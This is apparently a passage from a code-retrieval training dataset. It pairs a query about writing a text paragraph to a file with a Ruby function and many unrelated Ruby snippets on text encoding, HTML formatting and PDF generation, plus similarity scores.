:int16\n when Spectrum::BinaryData::BINARY_TYPE_32BIT_INTEGER\n :int32\n when Spectrum::BinaryData::BINARY_TYPE_64BIT_INTEGER\n :int64\n when Spectrum::BinaryData::BINARY_TYPE_32BIT_FLOAT\n :float32\n when Spectrum::BinaryData::BINARY_TYPE_64BIT_FLOAT\n :float64\n end\n\n break if !number_type.nil?\n end\n self.send(\"#{@binary_type.to_s}_data_type=\", number_type) if !number_type.nil?\n end\n\n # save info about binary\n if name == :cvParam && @stack.last == :binaryDataArray\n spectrum = @metadata.spectrums[@elements[-3][:id].to_sym]\n\n # convert chosen type to mz_binary/intensity_binary property selector\n binary_data = spectrum.send(@binary_type.to_s)\n binary_data.filepath = binary_filepath\n binary_data.type = self.send(\"#{@binary_type}_data_type\")\n case element[:accession]\n when ImzML::Spectrum::BinaryData::EXTERNAL_ARRAY_LENGTH\n binary_data.length = element[:value].to_i\n when ImzML::Spectrum::BinaryData::EXTERNAL_OFFSET\n binary_data.offset = element[:value].to_i\n when ImzML::Spectrum::BinaryData::EXTERNAL_ENCODED_LENGHT\n binary_data.encoded_length = element[:value].to_i\n end\n\n end\n\n # p @metadata.spectrums if name == :binaryDataArray\n\n # p \"#{name} ended #{element}\"\n\n end", "def element_params\n params.require(:element).permit(:tag, :process_order, :product_type_id, :drying_method_id, :previous_color, :ex_tag, :lot, :first_item, :last_item)\n end" ]
[ "0.6251317", "0.5669195", "0.56206685", "0.55190295", "0.54181707", "0.5233958", "0.5215337", "0.5130344", "0.50303537", "0.48875755", "0.485756", "0.48551494", "0.48365498", "0.47645643", "0.47489664", "0.4689144", "0.46206036", "0.46146134", "0.4564588", "0.45195627", "0.4512166", "0.4510557", "0.45044523", "0.45008636", "0.44758463", "0.4471805", "0.44670156", "0.44616094", "0.4460261", "0.44455355", "0.44360936", "0.44335678", "0.44296527", "0.44255814", "0.44097382", "0.43904537", "0.43882152", "0.43775174", "0.43632713", "0.4350831", "0.4349885", "0.43379664", "0.43327442", "0.43311775", "0.4329549", "0.42985085", "0.42971456", "0.4293266", "0.42892778", "0.4288524", "0.42733443", "0.42733443", "0.42733443", "0.42733443", "0.42594826", "0.42594826", "0.42594826", "0.42589474", "0.42458957", "0.4242054", "0.42347994", "0.42302218", "0.42196167", "0.42091984", "0.4197176", "0.41964105", "0.41920894", "0.41887388", "0.41837224", "0.41799435", "0.4178524", "0.41771913", "0.41765136", "0.4172566", "0.4171301", "0.41645277", "0.41630143", "0.41569895", "0.41526532", "0.4150586", "0.41437912", "0.4142702", "0.41268635", "0.41247684", "0.41245475", "0.41240245", "0.41229525", "0.41217494", "0.41173196", "0.41158345", "0.41143572", "0.41140282", "0.4110245", "0.41016692", "0.40983966", "0.40971124", "0.40938452", "0.40906212", "0.40899417", "0.40874955" ]
0.5862605
1
encoding: utf8 Function creates a paragraph from string p and writes them out to file f
def paragraph(p,f) # Replaces everything that has <b>, </b>, etc. value = p.gsub(/<b>|<\/b>|<a>|<\/a>/, "") arr = value.split(/</) # Gets rid of anything else from .* to > # and fixes spaces between numbers arr.each {|x| x.gsub!(/.*>\d*/, ""); x.gsub!(/\&\#\d*\;/, " "); } arr.each {|x| if x == arr[0] && x != "" f.write("\t" + x) elsif x != "" && x != "[" && x != "]" f.write(x) end } f.write("\n") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def utf8write(str,f)\n File.open(f,\"wb:utf-8\"){|ff|\n ff.write(str)\n }\nend", "def body_text(fp,text)\n\t\tfp.puts text\n\tend", "def mapf_format_paragraph(text, max_width = contents_width)\n text = text.clone\n # Create a Dummy Contents - I wanted to boost compatibility by using the \n # default process method for escape codes. It may have the opposite effect, \n # for some :( \n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(contents_width, 24)\n reset_font_settings\n paragraph = \"\"\n while !text.empty?\n text.lstrip!\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n paragraph += text.slice!(/.*?(\\n|$)/)\n end\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n return paragraph\n end", "def accept_paragraph paragraph\n @res << \"\\n<p>\"\n text = paragraph.text @hard_break\n text = text.gsub(/\\r?\\n/, ' ')\n @res << to_html(text)\n @res << \"</p>\\n\"\n end", "def mapf_format_paragraph(text, max_width = contents_width)\n text = text.clone\n # Create a Dummy Contents - I wanted to boost compatibility by using the\n # default process method for escape codes. It may have the opposite effect,\n # for some :(\n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(24, 24)\n reset_font_settings\n paragraph = \"\"\n while !text.empty?\n text.lstrip!\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n paragraph += text.slice!(/.*?(\\n|$)/)\n end\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n return paragraph\n end", "def create_paragraph(content)\n text = Text.new(content)\n run = Run.new\n run << text\n paragraph = Paragraph.new\n paragraph << run\n paragraph\nend", "def create(filename, text); end", "def paragraphize(input)\n \"#{input.lstrip.rstrip.gsub(/\\n\\n/, '</p><p>').gsub(/\\n/, '')}\"\n end", "def paragraph_by_chars(characters: T.unsafe(nil), supplemental: T.unsafe(nil)); end", "def write_utf(file, string, md)\n write_short(file, string.length, md)\n write(file, string, md)\n end", "def new_paragraph(env); end", "def write_string(*text); end", "def writeencoding; end", "def unicode_text(pdf, str, options={})\n pdf.text(e(\"\\xfe\\xff#{str}\", :encoding => 'UTF-16BE'), options) # start Unicode UTF-16BE encoding\n end", "def brf_write(str)\n File.open(brf_file, 'w:UTF-8') { |f| f.write str }\n end", "def formatted_text\n formatted = chapter_text.gsub(/\\u00a0/, ' ').gsub(/[\\u2018\\u2019]/, '\\'').gsub(/[\\u201c\\u201d]/, '\"').gsub('…','...')\n fix_letter = formatted.gsub('ö', 'o').gsub('
', ' ')\n line_spaced = fix_letter#.gsub(\"\\n\",\"<br>\")\n encoded = line_spaced.encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :replace => \"?\")\n return encoded\n end", "def add_paragraphs_to_text(text)\n\n # get rid of spaces and newlines-before/after-paragraphs and linebreaks\n # this enables us to avoid converting newlines into paras/breaks where we already have them\n source = text.gsub(/\\s*(<p[^>]*>)\\s*/, '\\1') # replace all whitespace before/after <p>\n source.gsub!(/\\s*(<\\/p>)\\s*/, '\\1') # replace all whitespace before/after </p>\n source.gsub!(/\\s*(<br\\s*?\\/?>)\\s*/, '<br />') # replace all whitespace before/after <br> \n\n # do we have a paragraph to start and end\n source = '<p>' + source unless source.match(/^<p/)\n source = source + \"</p>\" unless source.match(/<\\/p>$/)\n \n # If we have three newlines, assume user wants a blank line\n source.gsub!(/\\n\\s*?\\n\\s*?\\n/, \"\\n\\n&nbsp;\\n\\n\")\n\n # Convert double newlines into single paragraph break\n source.gsub!(/\\n+\\s*?\\n+/, '</p><p>')\n\n # Convert single newlines into br tags\n source.gsub!(/\\n/, '<br />')\n \n # convert double br tags into p tags\n source.gsub!(/<br\\s*?\\/?>\\s*<br\\s*?\\/?>/, '</p><p>')\n \n # if we have closed inline tags that cross a <p> tag, reopen them \n # at the start of each paragraph before the end\n HTML_TAGS_TO_REOPEN.each do |tag| \n source.gsub!(/(<#{tag}>)(.*?)(<\\/#{tag}>)/) { $1 + reopen_tags($2, tag) + $3 }\n end\n \n # reopen paragraph tags that cross a <div> tag\n source.gsub!(/(<p[^>]*>)(.*?)(<\\/p>)/) { $1 + reopen_tags($2, \"p\", \"div\") + $3 }\n \n # swap order of paragraphs around divs\n source.gsub!(/(<p[^>]*>)(<div[^>]*>)/, '\\2\\1')\n\n # Parse in Nokogiri\n parsed = Nokogiri::HTML.parse(source)\n parsed.encoding = 'UTF-8'\n \n # Get out the nice well-formed XHTML\n source = parsed.css(\"body\").to_xhtml\n \n # trash empty paragraphs and leading spaces\n source.gsub!(/\\s*<p[^>]*>\\s*<\\/p>\\s*/, \"\")\n source.gsub!(/^\\s*/, '')\n \n # get rid of the newlines-before/after-paragraphs inserted by to_xhtml,\n # so that when this is loaded up by strip_html_breaks in textarea fields,\n # \n source.gsub!(/\\s*(<p[^>]*>)\\s*/, '\\1')\n source.gsub!(/\\s*(<\\/p>)\\s*/, '\\1')\n \n # trash the body tag\n source.gsub!(/<\\/?body>\\s*/, '')\n \n # return the text\n source\n end", "def put_file_from_string(f, s)\n File.open(f , 'w') do |file|\n file.puts(s)\n end\nend", "def add_paragraphs\n lines = seperate_lines\n max_index = lines.size - 1\n (1..(max_index)).each do |index|\n previous_line = lines[index -1]\n current_line = lines[index]\n next_line = lines[index + 1]\n if current_line[0] != (\"#\" || \"\\n\" || \"</p>\")\n if previous_line[0] == \"\\n\"\n lines.insert(index, \"<p>\\n\")\n elsif next_line[0] == \"\\n\"\n lines.insert(index + 1, \"\\n</p>\")\n elsif next_line == nil\n lines << \"\\n</p>\"\n else\n lines\n end\n end\n end\n @doc = lines.join\n end", "def paragraphs_of path, *paragraphs\n File.read_utf(path).delete(\"\\r\").split(/\\n\\n+/).values_at(*paragraphs)\n end", "def form_paragraphs( str, rs )\n\t\t\t@log.debug \" Forming paragraphs\"\n\t\t\tgrafs = str.\n\t\t\t\tsub( /\\A\\n+/, '' ).\n\t\t\t\tsub( /\\n+\\z/, '' ).\n\t\t\t\tsplit( /\\n{2,}/ )\n\n\t\t\trval = grafs.collect {|graf|\n\n\t\t\t\t# Unhashify HTML blocks if this is a placeholder\n\t\t\t\tif rs.html_blocks.key?( graf )\n\t\t\t\t\trs.html_blocks[ graf ]\n\n\t\t\t\t# no output if this is block separater\n\t\t\t\telsif graf == '~' then\n\t\t\t\t\t''\n\n\t\t\t\t# Otherwise, wrap in <p> tags\n\t\t\t\telse\n\t\t\t\t\tapply_span_transforms(graf, rs).\n\t\t\t\t\t\tsub( /^[ ]*/, '<p>' ) + '</p>'\n\t\t\t\tend\n\t\t\t}.join( \"\\n\\n\" )\n\n\t\t\t@log.debug \" Formed paragraphs: %p\" % rval\n\t\t\treturn rval\n\t\tend", "def paragraph(text)\n \"<p>#{text}</p>\"\n end", "def save_content(title, content)\n File.open(\"pages/#{title}.txt\", \"w\") do |file|\n file.print(content)\n end\nend", "def createstring\n file = File.open('index.html', 'w')\n puts 'Ingresa el primer párrafo'\n string1 = gets.chomp\n puts 'Ingresa el segundo párrafo'\n string2 = gets.chomp\n file.puts \"<p>#{string1}</p>\\n<p>#{string2}</p>\"\n file.close\nend", "def paragraph(text)\n add_custom_tags(\"<p>#{text.strip}</p>\\n\")\n end", "def paragraph(sentence_count: T.unsafe(nil), supplemental: T.unsafe(nil), random_sentences_to_add: T.unsafe(nil), exclude_words: T.unsafe(nil)); end", "def text\n text = [title, abstract].join(\"\\n\")\n\n Misc.fixutf8(text)\n end", "def paragraph; end", "def vietnamese_writing_instructions\n return '' unless CONF[:locale] == 'vi'\n <<-EOL\n<p>#{vietnamese_smart_questions}</p>\n<p>Nến tránh viết tắt. <b>Dấu câu nên viết vào sát chữ trước nó, dấu câu và chữ sau nó nên cách một khoảng trắng.</b></p>\n<ul>\n <li>\"Tôi là Hòa . Tôi là sinh viên.Bạn tên gì ?\" --> \"Tôi là Hòa. Tôi là sinh viên. Bạn tên gì?\"</li>\n <li>\"2 lựa chọn : bút , thước\" --> \"2 lựa chọn: bút, thước\"</li>\n</ul>\nEOL\n end", "def string_to_file(st,filename)\n f = File.new(filename,\"w\")\n f.puts st\n f.close\n end", "def accept_paragraph paragraph\n parts = paragraph.parts.chunk do |part|\n String === part\n end.map do |string, chunk|\n string ? chunk.join.rstrip : chunk\n end.flatten\n\n paragraph.parts.replace parts\n end", "def generate_pdf(filename, pupil)\n Prawn::Document.generate(filename) do\n text \"CONTRATO DE PRESTAÇÃO DE SERVIÇOS EDUCACIONAIS EM DANÇA\"\n text \"Dados do Contratante\"\n text \"Aluno: #{pupil.first_name} #{pupil.last_name}\"\n text \"Contratante: #{pupil.first_name} #{pupil.last_name}\"\n text \"Endereço: #{pupil.user.try(:street)}, #{pupil.user.try(:district)}, \" +\\\n \"#{pupil.user.try(:city)}, #{pupil.user.try(:state)}, #{pupil.user.try(:zip_code)}\"\n text \"CPF: #{pupil.user.try(:cpf)} RG: #{pupil.user.try(:rg)}\"\n text \"Telefone(s): #{pupil.user.phone_numbers.collect { |p| p.number }}\"\n text \"E-mail: #{pupil.user.try(:email)}\"\n text \"Dados do Contratado\"\n text \"ESPAÇO DANÇAS MANÁ, localizado na Rua 58, Quadra 47, Casa 02, Vinhais, São Luís/MA,\" +\\\n \"inscrito no CNPJ nº 10.724.129/0001-04, representada por DYANNE MIRELLE BARBOSA SANTANA\" +\\\n \"portadora do CP F nº 074.016.854-18.\"\n text \"DO OBJETO E DAS CONDIÇÕES\"\n text \"Cláusula 1º: A Contratante firma com o Contratado a matrícula no(s) curso(s) de: BALLET CLÁSSICO (____); DANÇA CONTEMPORÂNEA (____); SAPATEADO (____); ALONGAMENTO (____); JAZZ (____); DANÇA DE SALÃO (____); DANÇA DE RUA (____); DANÇA DO VENTRE (____); DANÇA SENSUAL (____).\"\n text \"Cláusula 2ª: O presente contrato compreende apenas a prestação de serviços educacionais em dança, não estão incluídos no valor deste curso: taxa de exames; outros cursos extracurriculares; materiais; uniformes; figurinos; dentre outros materiais e serviços, que serão cobrados separadamente pelo Contratado.\"\n text \"Cláusula 3ª: Os cursos oferecidos pelo Contratado terão duração de ___ (______) meses, de ___________ à ___________ de 2013, assim como o presente contrato.\"\n text \"Cláusula 4ª: A formação e a continuidade das turmas dos cursos oferecidos pelo Contratado dependerá do número mínimo de alunos de _____ por turma, a serem preenchidos dentro do prazo máximo de 2 (dois) meses, contados a partir do início das atividades.\"\n text \"§1º: O não atingimento do número mínimo de alunos por turma implicará no remanejamento do aluno para outra turma compatível em nível, carga horária e preço, de acordo com o interesse do Contratante.\"\n text \"§2º: Caso não seja de interesse do Contratante fazer o remanejamento na hipótese do parágrafo anterior, este poderá requerer o cancelamento da sua matrícula sem o pagamento de qualquer multa contratual, desde que este requerimento ocorra antes da data de vencimento da mensalidade.\"\n text \"Cláusula 5ª: A Contratada se obriga a oferecer ao Contratante apenas as aulas especificadas na carga horária e nos horários definidos na tabela em anexo.\"\n text \"§1º: A reposição de aulas perdidas só será possível se houver vaga em outra turma em nível compatível aquele cursado pelo Contratante. Caso contrário o Contratante não terá direito a repor a aula.\"\n text \"§2º: Os alunos horistas poderão remarcar as aulas com até 5 (cinco) horas de antecedência do horário previamente marcado.\"\n text \"§3º: O aluno horista que não remarcar a aula no prazo estabelecido no parágrafo anterior perderá o direito de repor a aula previamente marcada.\"\n text \"Cláusula 6ª: O contrato de prestação de serviço é personalíssimo em relação ao aluno acima discriminado.\"\n text \"Cláusula 7ª: O curso contratado não possui diplomação.\"\n text \"Cláusula 8ª: O Contratante aceita os programas de ensino adotados, acatando o regimento interno do Contratado, normas disciplinares e o agrupamento dos alunos de acordo como o seu nível técnico.\"\n text \"DO PAGAMENTO DA COBRANÇA\"\n text \"Cláusula 9ª: O curso tem o custo total de R$ __________ (_______________________________________).Parágrafo Único: O valor curso pode ser pago em até ___ (_______) parcelas de __________(_________________________)\"\n text \"Cláusula 10ª: A cobrança tanto das parcelas quanto do valor total do curso será feita por meio de boleto bancário.\"\n text \"§1º: O(s) boleto(s) pode(m) ser pago(s) na própria sede da Contratada: em espécie e em cartão na modalidade débito. As modalidades aqui descritas não excluem as outras disponibilizadas pela instituição financeira que emite o boleto de cobrança.\"\n text \"§2º: O pagamento no cartão na modalidade crédito é apenas permitido para o pagamento integral do valor do curso.\"\n text \"§3°: O pagamento da mensalidade em espécie e dentro da data do vencimento confere ao aluno desconto de 4% na mesma.\"\n text \"§4°: O pagamento integral do valor do curso pago em espécie confere ao aluno desconto de 5%.\"\n text \"Cláusula 11ª: O Contratante deseja pagar o curso em (____) parcela(s) de R$ __________ (_______________________________) e estabelece como dia do vencimento da(s) parcela(s) o dia ____ do mês (de cada mês).\"\n text \"Cláusula 12ª: Os juros e multa diária pelo atraso no pagamento serão estabelecidos pela instituição financeira que realiza a emissão do(s) boleto(s) de pagamento.\"\n text \"Cláusula 13ª: O atraso no pagamento por prazo superior a 30 (trinta) dias implicará na suspensão do acesso as aulas e na inscrição do nome do inadimplente no cadastro de protesto, SPC e Serasa.\"\n text \"DA RECISÃO CONTRATUAL\"\n text \"Cláusula 14ª: A rescisão do contrato pode ser feita unilateralmente pelo Contratado, quando não houverem sido alcançadas as condições estabelecidas na Cláusula 4ª e no seu §1º, do presente contrato.\"\n text \"Parágrafo Único: O contrato também pode ser reincidido unilateralmente pelo Contratado quando o contratante não obedecer aos ditames da Cláusula 8ª.\"\n text \"Cláusula 15ª: A rescisão pode ser feita sem custas adicionais pelo Contratante, desde que seja requerida até a data do vencimento da parcela vincenda.\"\n text \"DISPOSIÇÕES GERAIS\"\n text \"Cláusula 16ª: O ingresso dos alunos nas turmas será precedido de avaliação física.\"\n text \"§1º: O Contratante poderá dispensar a avaliação física desde que ateste por escrito que encontra-se em condições de saúde para a prática de exercícios físicos.\"\n text \"§2º: É de inteira responsabilidade do Contratante informar aos professores eventuais doenças, lesões ou sequelas.\"\n text \"\"\n text \"\"\n text \"\"\n text \"\"\n text \"São Luís, _____ de ______________________ de 2013.\"\n text \"Contratante:________________________ Contratado: ________________________\"\n text \"Testemunha: ______________________ Testemunha: ______________________\"\n text \"CPF: CPF:\"\n text \"Quadro de Turmas da Matrícula\"\n end\n end", "def packetfu_ascii_art\n\tputs <<EOM\n _______ _______ _______ _ _______ _________ _______ \n( ____ )( ___ )( ____ \\\\| \\\\ /\\\\( ____ \\\\\\\\__ __/( ____ \\\\|\\\\ /|\n| ( )|| ( ) || ( \\\\/| \\\\ / /| ( \\\\/ ) ( | ( \\\\/| ) ( |\n| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |\n| _____)| ___ || | | _ ( | __) | | | __) | | | |\n| ( | ( ) || | | ( \\\\ \\\\ | ( | | | ( | | | |\n| ) | ) ( || (____/\\\\| / \\\\ \\\\| (____/\\\\ | | | ) | (___) |\n|/ |/ \\\\|(_______/|_/ \\\\/(_______/ )_( |/ (_______)\n ____________________________ ____________________________\n( ) ( )\n| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |\n| )( )( )( )( )( |\n(____________________________) (____________________________)\n パケットフ\n a mid-level packet manipulation library for ruby\n\nEOM\n\tend", "def padroniza_encoding(arquivo)\n arquivo_limpo = arquivo.dup.force_encoding('UTF-8')\n unless arquivo_limpo.valid_encoding?\n arquivo_limpo = arquivo.encode('UTF-8', 'Windows-1252' )\n end\n return arquivo_limpo\n rescue EncodingError\n # Força para UTF-8, sobrescrevendo caracteres inválidos\n arquivo.encode!('UTF-8', invalid: :replace, undef: :replace)\n end", "def translator(file)\n #Opens the file\n text = File.read(file)\n #Check the content for any non vocals -> adds an o and the non vocal instead\n replace = text.gsub!(/([bcdfghjklmnpqrstvwxzBCDFGHJKLMNPQRSTVWXZ])/, '\\1o\\1')\n #Replace the original content with translated content\n File.open(file, \"w\") {|z| z.puts replace}\nend", "def out text\n @fileBuffer << text << \"\\n\"\nend", "def word_p(*args, &block)\n content = if block_given? then\n capture(&block).strip\n else\n args.shift.to_s\n end\n\n options = args.shift || {}\n\n xml = \"<w:p><w:pPr>\"\n \n unless no_keep = options.delete(:no_keep) then\n xml += \"<w:keepLines/><w:keepNext/>\"\n end\n\n if style = options.delete(:style) then\n xml += \"<w:pStyle w:val=\\\"#{style}\\\"/>\"\n end\n\n if justification = options.delete(:justify) then\n xml += \"<w:jc w:val=\\\"#{justification}\\\"/>\"\n end\n xml += \"</w:pPr><w:r>\"\n \n bold = options.delete(:bold)\n italic = options.delete(:italic)\n\n if bold || italic then\n xml += \"<w:rPr>\"\n xml += \"<w:b/>\" if bold\n xml += \"<w:i/>\" if italic\n xml += \"</w:rPr>\"\n end\n\n xml += \"<w:t>\" + content + \"</w:t></w:r></w:p>\"\n\n if block_given? then\n concat xml\n else\n return xml\n end\n end", "def write_output_file(output_file, body)\n File.open(output_file, 'w:UTF-8') do |file|\n file.puts $HTML_header\n file.puts body\n file.puts $HTML_footer\n end\nend", "def creat_file(address)\n file = File.open(address,\"w\")\n questions.map{ |x|\n if(x.instance_of? OpenQuestion) then\n file.write(\"QU: Q O: #{x.question} :QOEND \\nA O: \\n\")\n x.answers.map{ |y|\n file.write(\"AN: #{y} :ANEND\\n\")\n }\n file.write(\" :AOEND :QUEND\\n\\n\")\n else\n file.write(\"QU: Q C: #{x.question} :QCEND \\nA C: \\n\")\n x.answers.map{ |y|\n file.write(\"AN: #{y} :ANEND\\n\")\n }\n file.write(\" :ACEND\\n C C: \")\n x.correct.map{ |y|\n file.write(\"#{y} \")\n }\n file.write(\" :CCEND :QUEND\\n\\n\")\n end\n }\n file.close\n end", "def parse_and_add_text(text, delimiter = \"||\", justification = :left, custom_line_height = nil, indent = 0)\n text = text.to_pdf_octals\n text = text.pdf_symbol_fontize(:prefix => \"||%%symbol||\", :suffix => \"||%%default||\")\n text.gsub!(\"<br>\", \"||%%newline\")\n text.gsub!(\"</p>\", \"||%%newline\")\n text.gsub!(\"<p>\", \"\")\n text.gsub!(\"<sup>\", \"||%%sup||\")\n text.gsub!(\"</sup>\", \"||%%default||\")\n text.gsub!(\"<sub>\", \"||%%sub||\")\n text.gsub!(\"</sub>\", \"||%%default||\")\n text.gsub!(\"<em>\", \"<i>\")\n text.gsub!(\"</em>\", \"</i>\")\n text.gsub!(\"<strong>\", \"<b>\")\n text.gsub!(\"</strong>\", \"</b>\")\n text_arr = text.split(delimiter)\n # puts text_arr\n add_parsed_array(text_arr, justification, custom_line_height, indent)\n end", "def w texte\n STDOUT.write \"<p>#{texte}</p>\"\nend", "def save_content(title, content)\n\tFile.open(\"pages/#{title}.txt\" , \"w\") do |file|\n\t file.print(content)\n end \t\t\nend", "def make_paragraph(title, link)\n paragraph = \"Title: #{title}\\n\"\n paragraph + \"Link: #{link}\\n\\n\"\n end", "def parse_paragraph; end", "def write_mstring(*text); end", "def simple_format_with_quote(text)\n text = '' if text.nil?\n text = text.dup\n start_tag = \"<p>\"\n text = text.to_str\n text.gsub!(/\\r\\n?/, \"\\n\") # \\r\\n and \\r -> \\n\n text.gsub!(/\\n\\n+/, \"</p>\\n\\n#{start_tag}\") # 2+ newline -> paragraph\n text.gsub!(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n text.insert 0, start_tag\n text.concat(\"</p>\")\n end", "def encode(text); end", "def encode(text); end", "def write(fp)\n @doc.write(fp, 0, false, false)\n fp << \"\\n\"\n end", "def write_file(content, title, directory, filename)\r\n #parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\r\n\r\n File.write(\"#{directory}/#{filename}\", content)\r\n puts \"#{filename} was created in '#{directory}'.\"\r\nend", "def ptext(text)\n tag(:br) + content_tag(:p, t(text)) + tag(:br)\n end", "def write(f)\n document.write(f, -1, false, true)\n end", "def paragraph_scrape(agent, list_url)\n page = agent.get(list_url)\n\n title = page.parser.xpath('//h1').text.gsub(/[ ]/, \"_\")\n\n content = \"\"\n content << title\n content << \"\\n\"\n\n # Retrieves text inside <p> tag\n page.parser.xpath('//p').each do |info|\n content << info.text\n content << \"\\n\"\n end\n\n File.open(title + \".txt\", 'w') do |f|\n f << content\n end\n end", "def write_file(p, file)\n File.open(browse_file(p, file), 'w') { |fh| fh.print yield }\n end", "def encode_file\n # open 'orginal' to read from\n # fr = File.open(\"#{original_datei}\", 'r') dann muss die Datei explizit geschlossen werden\n File.open(\"#{original_datei}\", 'r') {|fr|\n # create 'encoded' to write to\n File.open(\"encoded_#{original_datei}\",'w') { |fw|\n # encode each letter and then write to 'encoded'\n fr.each_byte{|byte|\n fw << encode(byte).chr\n }\n }\n }\n end", "def to_texfile(filename, params={}, &block)\n File.open(filename,'w') { |file| file << to_tex(params, &block) }\n end", "def fwrite(file, text)\n\tf = File.open(file, \"w\")\n\tf.write(text)\n\tf.close\nend", "def paragraph_by_chars(characters: 256, supplemental: false)\n paragraph = paragraph(sentence_count: 3, supplemental: supplemental)\n\n paragraph += \" #{paragraph(sentence_count: 3, supplemental: supplemental)}\" while paragraph.length < characters\n\n \"#{paragraph[0...characters - 1]}.\"\n end", "def save_pdf_file(pdf_content)\n File.open('data/test-generated/pdf/test.pdf', 'wb') { |file| file.puts(pdf_content) }\nend", "def write(data)\n File.open('text.txt') do |f2|\n f2.puts data\n end\nend", "def write_paragraph last_env, environments, paragraph\n # $stderr.print last_env,\",\",paragraph,\"\\n\" if last_env != nil\n case last_env\n when 'listing'\n writeln '\\begin{listing}'\n paragraph.each { | line | write line }\n writeln '\\end{listing}'\n when 'verbatim'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'quote'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'quotation'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'cmake'\n code_box paragraph, last_env, 'shell'\n when 'perl' \n code_box paragraph, last_env\n when 'scala' \n code_box paragraph, last_env\n when 'python' \n code_box paragraph, last_env\n when 'c' \n code_box paragraph, last_env\n when 'swig'\n code_box paragraph, last_env, 'c'\n when 'r'\n code_box paragraph, last_env, 'slang'\n when 'ruby'\n code_box paragraph, last_env\n when 'shell'\n code_box paragraph, last_env\n else\n paragraph.each do | line |\n write line\n # write '<br />' if environments.has?('verbatim')\n end\n end\n end", "def wputs(str)\n puts str.encode(\"cp866\", str.encoding)\nend", "def process_pdf_file(pdf_file)\n pdf_dir = Pathname.new(pdf_file)\n pdf_dir = pdf_dir.dirname.to_s\n file_name = File.basename(pdf_file,\".pdf\").chomp\n txt_file = pdf_dir+\"/\"+file_name+\".txt\"\n if !File.exist?(txt_file)\n puts \"Convering \"+pdf_file+\" to \"+txt_file\n %x[pdftotext #{pdf_file}]\n %x[dos2unix #{txt_file}]\n end\n return txt_file\nend", "def pdfout(content, file: 'output.pdf', width: 7, height: 7)\n \"\"\"\n pdf('#{file}', width=#{width}, height=#{height})\n #{content}\n dev.off()\n \"\"\"\nend", "def split_in_paragraphs(mode)\n paragraphs.each(&:destroy) # delete paragraphs (should delete associated opinions)\n pattern = case mode\n when \"br\" then /<br \\/>|<br\\/>|<br>/\n when \"p_br\" then /<br \\/>|<br\\/>|<br>|<p>|<\\/p>/\n when \"p\" then /<p>|<\\/p>/\n end\n if pattern\n content.split(pattern).each_with_index do |paragraph_content, counter|\n paragraph_content = cleanup_paragraphs(paragraph_content)\n if paragraph_content != \"\"\n self.paragraphs.create(:ranking_number => counter, :content => paragraph_content, :review_id => self.id)\n end\n end\n else\n # 1 paragraph == whole content\n self.paragraphs.create(:ranking_number => 0, :content => cleanup_paragraphs(content))\n end \n end", "def test_paragraph(x, y, width, paragraph)\n draw_formatted_text(x, y, width, paragraph, nil, true)\n end", "def packetfu_ascii_art\n puts <<EOM\n _______ _______ _______ _ _______ _________ _______\n( ____ )( ___ )( ____ \\\\| \\\\ /\\\\( ____ \\\\\\\\__ __/( ____ \\\\|\\\\ /|\n| ( )|| ( ) || ( \\\\/| \\\\ / /| ( \\\\/ ) ( | ( \\\\/| ) ( |\n| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |\n| _____)| ___ || | | _ ( | __) | | | __) | | | |\n| ( | ( ) || | | ( \\\\ \\\\ | ( | | | ( | | | |\n| ) | ) ( || (____/\\\\| / \\\\ \\\\| (____/\\\\ | | | ) | (___) |\n|/ |/ \\\\|(_______/|_/ \\\\/(_______/ )_( |/ (_______)\n ____________________________ ____________________________\n( ) ( )\n| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |\n| )( )( )( )( )( |\n(____________________________) (____________________________)\n PacketFu\n a mid-level packet manipulation library for ruby\n\nEOM\n end", "def write\n\n # output to disk\n File.open(@outfile, 'w:UTF-8') { |file|\n file.write(@buffer)\n }\n end", "def convert_encoding(content); end", "def write_a_p_formula(font = nil) # :nodoc:\n @writer.tag_elements('a:p') do\n # Write the a:pPr element.\n write_a_p_pr_formula(font)\n # Write the a:endParaRPr element.\n write_a_end_para_rpr\n end\n end", "def text(input)\n command = \"pdftotext #{input.shellescape} -\"\n command_stdout(command)\n end", "def transfer_subtitles(p_s, f_s)\n if debug\n puts \" Transfer subtitles:\"\n puts \" * p_s: #{ p_s.inspect }\"\n puts \" * f_s: #{ f_s.inspect }\"\n end\n # Determine if we can use punctuation signature for snapping.\n # Conditions: Each primary st is preceded by punctuation and primary\n # and foreign punctuation signatures are identical.\n sts_w_preceding_punct = p_s.scan(/(?:\\S|^)\\s?@/)\n all_sts_are_preceded_by_punct = sts_w_preceding_punct.all? { |e|\n e =~ /\\A@/ || e =~ /\\A[#{ regex_punctuation_chars }]/\n }\n\n # Determine and apply snapping strategy\n if(\n all_sts_are_preceded_by_punct &&\n (\n p_punct_sig = p_s.scan(/([#{ regex_punctuation_chars }])|([^#{ regex_punctuation_chars }]+)/).map { |m1, m2|\n m1 ? m1 : 'T'\n }.join\n f_punct_sig = f_s.scan(/([#{ regex_punctuation_chars }])|([^#{ regex_punctuation_chars }]+)/).map { |m1, m2|\n m1 ? m1 : 'T'\n }.join\n punc_sig_sim = p_punct_sig.longest_subsequence_similar(f_punct_sig)\n if debug\n puts \" * punctuation signatures:\"\n puts \" * p: #{ p_punct_sig.inspect }\"\n puts \" * f: #{ f_punct_sig.inspect }\"\n puts \" * sim: #{ punc_sig_sim.inspect 